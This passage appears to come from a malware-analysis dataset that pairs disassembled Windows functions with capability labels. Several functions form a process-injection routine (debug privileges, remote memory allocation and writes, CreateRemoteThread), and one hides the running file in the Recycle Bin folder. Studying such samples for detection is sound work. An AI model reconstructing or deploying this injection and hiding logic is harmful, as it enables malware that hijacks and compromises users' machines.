joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e2740
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x4e29a1
sub rsp, 0xb0
mov qword [rsp + 0xa8], rbp
lea rbp, [rsp + 0xa8]
test rax, rax
je 0x4e2985
mov qword [rsp + 0xb8], rax
mov rbx, qword [rax + 8]
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
test rbx, rbx
jne 0x4e278d
xor ebx, ebx
xor ecx, ecx
jmp 0x4e27a0
mov rax, rdx
call fcn.004d4680
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x48], rbx
cmp qword [rax + 0x28], 0
je 0x4e28b8
mov rcx, qword [rax + 0x18]
mov rax, rcx
nop
call fcn.00479ae0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0xb8]
mov r8, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x0055b418]
mov esi, 1
lea rax, [rsp + 0x68]
mov rbx, qword [rsp + 0x88]
call fcn.0044d6c0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00402f00
xorps xmm15, xmm15
mov r14, qword [0x0066cda0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4e287b
xor eax, eax
lea rbx, [0x0055b528]
mov ecx, 1
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x60]
lea r8, [0x0052a334]
mov r9d, 2
mov r10, qword [rsp + 0x98]
mov r11, qword [rsp + 0x58]
call fcn.0044d7a0
jmp 0x4e28a8
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
lea rdi, [0x0055b490]
mov esi, 1
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0x58]
call fcn.0044d6c0
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov rax, qword [rax + 0x18]
nop dword [rax]
call fcn.00479ae0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x88]
mov qword [rsp], rcx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 8], rdx
mov byte [rsp + 0x10], 0x3a
call fcn.00402f00
xorps xmm15, xmm15
mov r14, qword [0x0066cda0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4e2948
xor eax, eax
lea rbx, [0x0055b528]
mov ecx, 1
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x48]
lea r8, [0x0052a334]
mov r9d, 2
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x50]
call fcn.0044d7a0
jmp 0x4e2975
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x0055b490]
mov esi, 1
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x50]
call fcn.0044d6c0
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
lea rax, [0x0052a675]
mov ebx, 5
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov qword [rsp + 8], rax
call fcn.004619c0
mov rax, qword [rsp + 8]
jmp fcn.004e2740
Function at 0x140003440
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14003e058]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140003477
xor eax, eax
jmp 0x140003509
lea r8, [rsp + 0x38]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x140003493
xor eax, eax
jmp 0x140003509
mov dword [rsp + 0x40], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + rax + 0x44], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x4c], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400034f1
xor eax, eax
jmp 0x140003509
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140003504
xor eax, eax
jmp 0x140003509
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000a520
add rsp, 0x68
ret
Function at 0x140003520
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov dword [rsp + 0x54], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], 0
mov r8d, dword [rsp + 0x90]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000357f
jmp 0x1400036a0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
cmp byte [rax + rcx], 0
jne 0x140003595
mov rax, qword [rsp + 0x58]
inc rax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400035eb
jmp 0x1400036a0
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000361d
jmp 0x1400036a0
lea rcx, [0x140039538]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140039528]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140003649
jmp 0x1400036a0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140003688
jmp 0x1400036a0
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x54], 1
cmp qword [rsp + 0x48], 0
je 0x1400036c1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp qword [rsp + 0x60], 0
je 0x1400036d4
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x40], 0
je 0x1400036e7
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x54]
add rsp, 0x88
ret
Function at 0x140003700
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x3c8
mov rax, qword [0x14003e058]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x30], 0
mov edx, 0x5c
mov rcx, qword [rsp + 0x3d0]
call fcn.1400010c0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32First]
mov qword [rsp + 0x28], 0xffffffffffffffff
mov dword [rsp + 0x170], 0x238
mov qword [rsp + 0x28], 0xffffffffffffffff
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call fcn.1400033e0
movzx eax, al
test eax, eax
je 0x14000383a
mov edx, dword [rsp + 0x48]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Module32First]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
je 0x140003812
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x1a0]
call fcn.140011af0
test eax, eax
jne 0x1400037f9
mov byte [rsp + 0x20], 1
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Module32Next]
mov dword [rsp + 0x24], eax
jmp 0x1400037d7
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14000382f
xor r8d, r8d
mov rdx, qword [rsp + 0x3d0]
mov ecx, dword [rsp + 0x48]
call fcn.140003520
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140003775
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.14000a520
add rsp, 0x3c8
ret
Function at 0x140003880
Capabilities:
Get file attributes
Move file
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x160
mov rax, qword [0x14003e058]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x2c]
mov rdi, rax
xor eax, eax
mov ecx, 5
rep stosb byte [rdi], al
mov r9d, 3
mov r8, qword [rsp + 0x170]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140002f80
lea r8, str._RECYCLE.BIN_
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140003020
mov dword [rsp + 0x24], 0
jmp 0x140003908
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 4
jge 0x140003935
call fcn.14001145c
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
add eax, 0x61
mov byte [rsp + 0x20], al
movsxd rax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x20]
mov byte [rsp + rax + 0x2c], cl
jmp 0x1400038fe
lea r8, [rsp + 0x2c]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140003020
lea r8, str..dat
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140003020
mov r8d, 1
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov r8d, 4
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
and eax, 2
test eax, eax
jne 0x1400039b9
mov eax, dword [rsp + 0x28]
or eax, 2
mov edx, eax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000a520
add rsp, 0x160
pop rdi
ret

Function at 0x1400039e0
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x38
lea r8, str.GGG5B98_0E3D_4B3B_B724_57DB0D76F78F
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003a14
mov dword [rsp + 0x24], 1
jmp 0x140003a1c
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x20], al
cmp qword [rsp + 0x28], 0
je 0x140003a36
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x140003a58
cmp qword [rsp + 0x28], 0
je 0x140003a54
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140003a5a
xor al, al
add rsp, 0x38
ret
Function at 0x140003c10
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x250
mov rax, qword [0x14003e058]
xor rax, rsp
mov qword [rsp + 0x240], rax
call fcn.1400039e0
movzx eax, al
test eax, eax
je 0x140003c54
mov eax, 0xffffffff
jmp 0x140003d09
call fcn.140003440
lea rax, [rsp + 0x130]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x130]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x130]
call fcn.140003880
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, [0x1400394e4]
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.140003020
lea r8, [0x1400396a8]
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.140003020
lea rcx, str.64_start......
call fcn.140003a60
xor eax, eax
cmp eax, 1
je 0x140003d07
lea rcx, [rsp + 0x20]
call fcn.140003700
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003ce9
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000a520
add rsp, 0x250
pop rdi
ret
Function at 0x1400041c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14003e058]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x1400041f4
xor eax, eax
jmp 0x1400043ea
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x140004225
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.140004f90
jmp 0x1400043ea
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call fcn.140006660
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x1400042d3
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140004400
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call fcn.140006820
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140007500
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call fcn.140006780
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x1400043da
mov rcx, qword [rsp + 0x80]
call fcn.140006030
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x140004388
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.1400123a0
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140004383
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x1400043ea
jmp 0x1400042ff
cmp qword [rsp + 0x50], 0
jbe 0x1400043da
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.1400123a0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14000a520
add rsp, 0x78
ret
Function at 0x140004a40
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov rax, qword [0x14003e058]
xor rax, rsp
mov qword [rsp + 0xc0], rax
call fcn.140007420
mov dword [rsp + 0x50], eax
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140007480
movzx eax, al
test eax, eax
je 0x140004a96
lea rcx, [rsp + 0xe8]
call fcn.140007430
jmp 0x140004d0a
mov rcx, qword [rsp + 0xe0]
call fcn.140006800
test rax, rax
je 0x140004b02
mov rcx, qword [rsp + 0xe0]
call fcn.140006800
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xe0]
call fcn.140006750
mov rcx, qword [rsp + 0x60]
cmp rcx, rax
jae 0x140004b02
lea rcx, [rsp + 0xe8]
call fcn.140004d30
mov byte [rsp + 0x40], al
mov rcx, qword [rsp + 0xe0]
call fcn.1400065b0
movzx ecx, byte [rsp + 0x40]
mov byte [rax], cl
mov eax, dword [rsp + 0xe8]
jmp 0x140004d0a
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
jne 0x140004b1e
call fcn.140007420
jmp 0x140004d0a
mov rcx, qword [rsp + 0xe0]
call fcn.140006030
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x68], 0
jne 0x140004b94
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax + 0x80]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xe8]
call fcn.140004d30
mov byte [rsp + 0x41], al
mov rdx, qword [rsp + 0x68]
movzx ecx, byte [rsp + 0x41]
call fcn.140003350
movzx eax, al
test eax, eax
je 0x140004b82
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x48], eax
jmp 0x140004b8b
call fcn.140007420
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
jmp 0x140004d0a
mov qword [rsp + 0x78], 0x20
lea rcx, [rsp + 0xe8]
call fcn.140004d30
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xb8]
lea rcx, [rsp + 0x91]
mov rdx, qword [rsp + 0xe0]
add rdx, 0x74
lea r8, [rsp + 0x80]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, rcx
lea r8, [rsp + 0x90]
mov rcx, qword [rsp + 0x70]
call fcn.140005eb0
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x140004c41
cmp dword [rsp + 0x44], 1
je 0x140004c41
cmp dword [rsp + 0x44], 3
je 0x140004cc6
jmp 0x140004d05
lea rax, [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140004c98
mov rax, qword [rsp + 0xe0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x58]
mov edx, 1
lea rcx, [rsp + 0x98]
call fcn.140011824
cmp qword [rsp + 0x58], rax
je 0x140004c98
call fcn.140007420
jmp 0x140004d0a
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x71], 1
lea rax, [rsp + 0x90]
cmp qword [rsp + 0x88], rax
je 0x140004cbf
mov eax, dword [rsp + 0xe8]
jmp 0x140004d0a
call fcn.140007420
jmp 0x140004d0a
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rax + 0x80]
movzx ecx, byte [rsp + 0x90]
call fcn.140003350
movzx eax, al
test eax, eax
je 0x140004cf6
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x4c], eax
jmp 0x140004cff
call fcn.140007420
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
jmp 0x140004d0a
call fcn.140007420
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14000a520
add rsp, 0xd8
ret
Function at 0x1400060e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14003e058]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x14000611d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140006124
mov al, 1
jmp 0x14000627c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.140007420
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.140007420
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.140007480
movzx eax, al
test eax, eax
je 0x14000617b
xor al, al
jmp 0x14000627c
mov qword [rsp + 0x60], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call fcn.140007640
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400061ea
cmp dword [rsp + 0x30], 1
je 0x1400061f6
cmp dword [rsp + 0x30], 3
je 0x14000626a
jmp 0x14000627a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140006241
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.140011824
cmp qword [rsp + 0x48], rax
je 0x140006241
xor al, al
jmp 0x14000627c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14000625b
mov dword [rsp + 0x34], 1
jmp 0x140006263
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x14000627c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14000627c
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14000a520
add rsp, 0xa8
ret

Function at 0x140018690
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400184bc
Function at 0x14000d984
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140017850], eax
call fcn.14000d6d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140017850], 0
jne case.default.0x14000d9da
mov ecx, 1
call fcn.14000d6d0
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
sal dword [rdi], 1
push rsi
mov ecx, ebx
mov bh, 0x8b
mov esp, 0xce5466a8
or esi, dword [0xe5fabb64]
mov ebx, 0xdffea012
in eax, 0x8a
out 0x3c, eax
ror byte [rdx - 0x21], cl
invalid
Function at 0x1400038f0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0xa0
mov qword [r11 - 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
mov rax, qword [0x1400cd4d0]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rsi, rdx
mov rdi, rcx
mov rdx, qword [rcx + 0x90]
test rdx, rdx
je 0x140003ad1
xor eax, eax
mov qword [r11 - 0x18], rax
or r8d, 0xffffffff
lea rcx, [r11 - 0x18]
call fcn.1400024c0
nop
xor eax, eax
mov qword [rsp + 0x88], rax
mov rdx, rdi
lea rcx, [rsp + 0x88]
call fcn.140002480
nop
mov rbx, qword [rdi + 0x100]
test rbx, rbx
je 0x140003ab6
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400030d0
nop
mov r10, qword [rbx]
mov r9d, 3
lea r8d, [r9 - 2]
mov rdx, rax
mov rcx, rbx
call qword [r10]
nop
lea rcx, [rsp + 0x30]
call fcn.140001a90
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140005450
nop
mov rax, qword [rdi + 0x100]
xor ebx, ebx
lea r9d, [rbx + 2]
xor r8d, r8d
mov edx, ebx
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp eax, 0xffffffff
jne 0x1400039fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Could_not_seek_file_stream__error_setting_file_pointer___i_.
lea rcx, [rsp + 0x30]
call fcn.14000a920
lea rdx, [0x1400cb210]
lea rcx, [rsp + 0x30]
call fcn.140028a54
int3
cmp qword [rsi + 0x18], 0x10
jb 0x140003a08
mov rdx, qword [rsi]
jmp 0x140003a0b
mov rdx, rsi
mov rsi, qword [rsi + 0x10]
mov rax, qword [rdi + 0x100]
mov dword [rsp + 0x80], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x80]
mov r8d, esi
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140003a6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, esi
lea rdx, str.Could_not_write__i_bytes_to_file_stream___i_.
lea rcx, [rsp + 0x30]
call fcn.14000a920
lea rdx, [0x1400cb210]
lea rcx, [rsp + 0x30]
call fcn.140028a54
int3
mov rax, qword [rdi + 0x100]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test eax, eax
jne 0x140003aab
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Could_not_flush_file_stream_buffers___i_.
lea rcx, [rsp + 0x30]
call fcn.14000a920
lea rdx, [0x1400cb210]
lea rcx, [rsp + 0x30]
call fcn.140028a54
nop
lea rcx, [rsp + 0x70]
call fcn.1400048a0
nop
lea rcx, [rsp + 0x88]
call fcn.140002510
nop
lea rcx, [rsp + 0x90]
call fcn.140002510
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140026f00
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140009270
Capabilities:
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x10
mov rax, qword [0x1400cd4d0]
